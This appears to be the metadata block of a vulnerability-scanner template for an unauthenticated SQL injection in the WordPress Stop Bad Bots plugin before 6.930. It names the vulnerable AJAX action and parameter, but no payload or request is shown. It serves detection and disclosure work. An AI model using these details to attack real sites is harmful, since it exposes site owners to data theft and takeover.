info:
  name: WordPress Stop Bad Bots <6.930 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    WordPress Stop Bad Bots plugin before 6.930 contains a SQL injection vulnerability. The plugin does not properly sanitise and escape the fingerprint parameter before using it in a SQL statement via the stopbadbots_grava_fingerprint AJAX action, available to unauthenticated users. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data manipulation, or data leakage.
  remediation: Fixed in version 6.930.
